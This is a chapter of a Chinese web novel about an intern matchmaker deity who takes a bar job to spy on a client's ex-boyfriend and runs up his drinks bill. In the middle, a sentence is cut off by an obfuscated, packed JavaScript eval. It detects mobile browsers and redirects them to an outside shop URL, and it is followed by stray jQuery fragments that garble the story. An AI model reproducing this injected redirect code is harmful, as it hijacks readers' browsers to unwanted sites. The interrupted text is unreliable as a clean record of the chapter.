13. 第13章

作品:《实习月老:红线KPI完成了吗?

    “我跟着那个快递小哥,可费了一番功夫才搞清楚。”敖翔用尾巴尖“啪啪”地拍着桃喜宁公寓里那张小桌子,竖瞳里满是忿忿不平。


    “绕了好几个弯,最后才确认,送礼的叫葛悭。”


    “是是是,你辛苦了,我们敖翔最厉害了。”


    桃喜宁盘腿坐在沙发上,手里拿着一包新开的零食——还是白饴公司的福利,非常识趣地抽出一根,递到敖翔嘴边,“来,这是你最喜欢的牌子,犒劳你的。”


    敖翔一口叼住,三两口就吞了下去,含糊不清地说:“哼,这还差不多。”


    尾巴拍打桌面的频率明显慢了下来。


    桃喜宁又喂了敖翔一口,自己则拿起另一根,却没吃,只是用手指捻着,眉头微蹙,陷入了沉思。


    白饴和林渊傅的红线出现了明确的断裂警示,是因为这个葛悭想跟白饴复合,从而干扰了既定的姻缘?


    那……白饴内心深处,是不是也对这段旧情有所留恋呢?


    就在她思绪纷飞之际,等不及投喂的敖翔,小身子一蹿,直接钻进了敞口的包装袋里,窸窸窣窣地大快朵颐起来,声音含混地补充着探听来的情报。


    “哦对了,还有!葛悭刚听完给白饴送礼被拒收的情况,转头就打了一个电话,约人去酒吧喝酒,语气轻快得很,可不像为情所困的样子。”


    “酒吧?”桃喜宁捻着零食的手指一顿,眼睛微微亮起。


    “那种地方,灯红酒绿的,人容易放松警惕,倒是个观察了解一个人真实面目的好地方。”


    敖翔从包装袋里探出脑袋,嘴角还沾着零食屑:“我听他打电话那熟稔的劲儿,那个酒吧好像是他晚上常去,基本上一周至少要去个三四次呢,老客户了。”


    桃喜宁若有所思地搓了搓下巴,一种熟悉的、又要开始折腾的预感浮上心头:“看来……我又要多打一份工了……”


    ……


    几天后,桃喜宁站在酒吧后门通道里,面对着眼神精明的酒吧老板。


    “在校大学生,希望晚间来酒吧勤工俭学……”酒吧老板上下打量着桃喜宁,目光带着几分怀疑。


    “小姑娘,我们这里晚间营业经常要到凌晨两三点,你白天还要上课吧,这日夜颠倒的,吃得消吗?可别干两天就跑了!”


    “没问题,老板。我精力很好,绝对吃得消。”


    桃喜宁挺直腰板,脸上挤出充满朝气的笑容,心里却在默默流泪——


    她可是实习月老,妥妥的准仙人,不需要像凡人那样睡觉休息啊!


    结果全用来打多份工了……呜呜呜,这天选打工牛马的感觉真是越来越重了。


    “那行吧,试用期三天。”酒吧老板终于松口,但随即搓了搓手指。


    “不过,我们这里的基本薪水不高,主要收入可是要看酒水提成的。卖的越多,赚得越多,懂吗?机灵点。”


    “明白!谢谢老板!”桃喜宁乖巧应答。


    第二天晚上,桃喜宁刚一上工,正跟着熟悉流程、记忆酒水价格的时候,她等待的目标就出现了。


    “小桃,小桃!”一个服务员急匆匆地跑来,拍了拍她的肩膀。


    “我这边忙不过来了,预约了三号包厢的客人已经到了,你去接待一下吧,点单、送酒水什么的。”


    “哦,好的,我这就去。”桃喜宁边整理着刚上身的制服,边朝着包厢的方向走去。


    刚走出几步,身后那两个服务员的轻声交谈,一字不差地传到了她的耳朵里。


    “诶?三号包厢那边不是来了群富少吗?你让这个新来的去?把赚钱的机会给她啊?”


    “什么一群富少?常来的,我可熟了。基本都是围着捧哏的小弟,唯一一个看起来像样、负责买单的,钱花得可抠搜了,每次点的都是基础款。”


    “不去不去,我宁可去其他包厢碰碰运气,说不定还能遇到真豪爽的。”


    桃喜宁听归听,脚步却是不停,已经走到了包厢的门口。


    里面隐约传来喧闹的音乐声和笑闹声。她深吸一口气,手上用力,包厢那厚重的门应声而开。


    刹那间,震耳欲聋的电子音乐,以及肆无忌惮的嬉笑吵嚷声扑面而来。


    桃喜宁被这场景震得动作一滞,下意识地松开了手——门“砰”地一声又关上了,将那片喧嚣重新隔绝。


    【我是不是眼花了?】她立刻给敖翔传音【刚才坐在沙发最中间,被几个人敬酒的那个……是葛悭吧?】


    敖翔的声音也带着点不确定:【应、应该是葛悭吧……我那天跟踪回来后,不是还特意从网上找到了他的公开照片给你看过吗?】


    桃喜宁:“……”看来是葛悭过于规律的夜生活站在了她这边。


    为了调查葛悭特意跑来酒吧做兼职,结果刚一上班,人就直接送到眼前了?


    呵呵,赞!


    机会不能错过。


    桃喜宁立刻挂上微笑,再次用力推开了包厢门,步履从容地走了进去。


    她径直走到主位附近,将手中的酒水单双手递向坐在中间的葛悭:“晚上好,请问各位客人需要点什么吗?”


    她的进入让包厢内的喧闹稍微安静了一瞬,几乎所有人的目光都齐刷刷地跟着她,最终落在了葛悭身上。


    葛悭带着几分倨傲接过酒水单,手指在上面随意点了七八样——价格确实如刚才那服务员所说,不算昂贵。


    “先这些,不够一会儿再说。”


    “好的,请稍等。”桃喜宁瞄了一眼单子,心中了然。


    她迅速退出去,没多久就端着酒水回来。


    之后,桃喜宁便借着添酒、收拾空瓶等服务的名头,如同一个安静的背景板,默默站到了包厢角落里光线昏暗的位置,耳朵却全力捕捉着那边的每一句对话。


    起初,葛悭还和其他人一样,喝酒、唱歌、玩骰子,气氛热烈。


    几轮酒下肚,大约是上了头,他说话的声音越来越大,舌头也有些打结,开始拉着旁边的人吐槽起来。


    “你们说,我这次是不是够诚意了?”


    葛悭猛地灌了一口,重重地把杯子顿在桌上,发出不小的声响,“玫瑰、玩偶、包包……我都送了!她白饴还不肯跟我复合,是不是太矫情了!”


    周围那些明显是跟着他混、蹭吃蹭喝的男男女女立刻七嘴八舌地附和。


    在一片阿谀奉承中,葛悭的倾诉欲更强了,断断续续地,结合着那些捧哏们偶尔的补充和吹捧,桃喜宁逐渐拼凑出了事情的轮廓。


    原来,白饴以前是葛悭的助理,后来成了他女朋友。


    公司基


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973086|193254||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    本都是白饴在替他兜着。


    白饴能干,把公司打理得井井有条,葛悭就开始安心出去玩。到了后来,他酒吧来得比公司都勤。


    “就为这个,她就要分手?扔下我的公司不管,自己跑去当什么老板!”


    葛悭一拍桌子,震得酒杯乱晃,“转头林渊傅的就跟她表白了是吧?行啊!”


    他哈哈一笑:“现在好了,那俩工作狂,见面都没空!正好,我也来趁虚而入一把!”


    桃喜宁在角落里听得越多,心里的火气就越是噌噌地往上冒。


    这是想复合啊,还是找回助理啊?!


    搞得她辛辛苦苦牵好的、属于白饴和林渊傅的红线都出现了断裂警示!平白给她增加工作量!


    桃喜宁气得下意识撸起了并不存在的袖子,往前迈了半步,想要上去让葛悭清醒清醒。


    【冷静!冷静!】敖翔立刻用力拉了拉她的手腕,传音急促响起


    【“看看墙角!还有天花板!都是摄像头!高清的!想想考核和转正!想想信仰值的罚款!】


    桃喜宁动作一僵,硬生生止住了脚步。是啊,罚款扣不起、考核必须过……


    就在这时,那边被众人捧得飘飘然的葛悭颇为豪气地一挥手:“行了!今天高兴!全场所有的消费,全由我买单!”


    周围顿时响起一片更热烈的起哄和恭维声。


    桃喜宁看着这一幕,又想起刚才进门时那两个服务员的对话——“唯一一个看起来像样、负责买单的,钱花得可抠搜了。”


    她原本紧绷的嘴角,忽然勾起了一抹弧度。


    以前抠搜?


    那今天,就让葛悭把以前没花的,一起多花出去一些!也算是替白饴,替自己出出气!


    ……


    喧嚣散尽,天光已微微发亮。酒吧打烊后的寂静,与几个小时前的喧闹形成了鲜明对比。


    葛悭在包厢的沙发上,被酒吧老板礼貌却坚持地叫醒。


    他揉了揉因宿醉而胀痛的额头,眼神还有些迷茫。


    酒吧老板脸上微笑着递上一张长长的、打印得密密麻麻的账单:“这是您昨晚的消费明细,请您过目。您昨晚说了,由您统一买单。”


    葛悭打着哈欠,漫不经心地接过账单,目光随意地扫过最后的总金额。


    下一秒,他的哈欠卡在了喉咙里,一下睡意全无,猛地从沙发上弹了起来,声音都变了调。


    “多、多少?!你们是不是搞错了?!怎么可能这么多!”


    葛悭不敢置信地用手指着账单上的数字,指尖都在发抖,开始逐项仔细查看。


    “这、这……我们点这个了吗?还点了三瓶?!还有这些……这些……怎么全是最贵的!”“还点了这么多!我昨天明明只点了……”


    他努力回想,却只记得有个特别殷勤的女服务员,一次次微笑着端着各种酒水进来,嘴里好像还说着“请大家尽兴”之类的话。


    酒吧老板保持着微笑,语气却不容置疑。


    “所有酒水都是经过您确认后,才开瓶并送入包厢的。我们都有视频记录。您看……”


    葛悭看着那长长的账单,又看看周围空荡荡的、只剩下空酒瓶的包厢,脸上一阵青一阵白,最终,在酒吧老板的注视下,他咬着牙,颤抖着手伸向钱包。